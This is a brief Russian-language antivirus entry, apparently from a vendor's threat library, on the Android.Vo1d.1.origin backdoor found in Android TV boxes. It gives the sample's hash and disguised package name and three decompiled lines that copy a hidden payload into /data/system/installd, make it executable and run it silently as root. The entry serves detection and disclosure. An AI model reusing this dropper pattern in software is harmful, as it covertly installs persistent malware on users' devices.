Android.Vo1d.1.origin

SHA1-хеш:

7f87f9f059a58eb830d59af5bcb29c612b2a6ccf (com.google.android.services)

Описание

Вредоносная программа-бэкдор для Android-устройств, обнаруженная в ряде моделей ТВ-приставок на базе ОС Android. Ее основная задача — копирование в целевую директорию файла, расположенного в ее ресурсах (/assets), изменение прав доступа для этого файла и его запуск, а также обеспечение его запуска после перезагрузки зараженного устройства.

Принцип действия

Операции с целевым файлом выполняются командами, представленными в следующем примере:


ShellUtil.execCommand(("cp -rf " + this.mBox.getAbsolutePath() + " /data/system/installd"), true);
ShellUtil.execCommand("chmod 0755 /data/system/installd", true);
ShellUtil.execCommand("/data/system/installd > /dev/null 2>&1 &", true);

Существует несколько модификаций Android.Vo1d.1.origin, каждый из которых может извлекать свою полезную нагрузку.

Файлы, копируемые в /data/system/startup, являются разновидностью трояна Android.Vo1d.1.

Файлы, копируемые в /data/system/installd, являются разновидностью трояна Android.Vo1d.3.

Индикаторы компрометации

Подробнее об Android.Vo1d.1

Подробнее об Android.Vo1d.3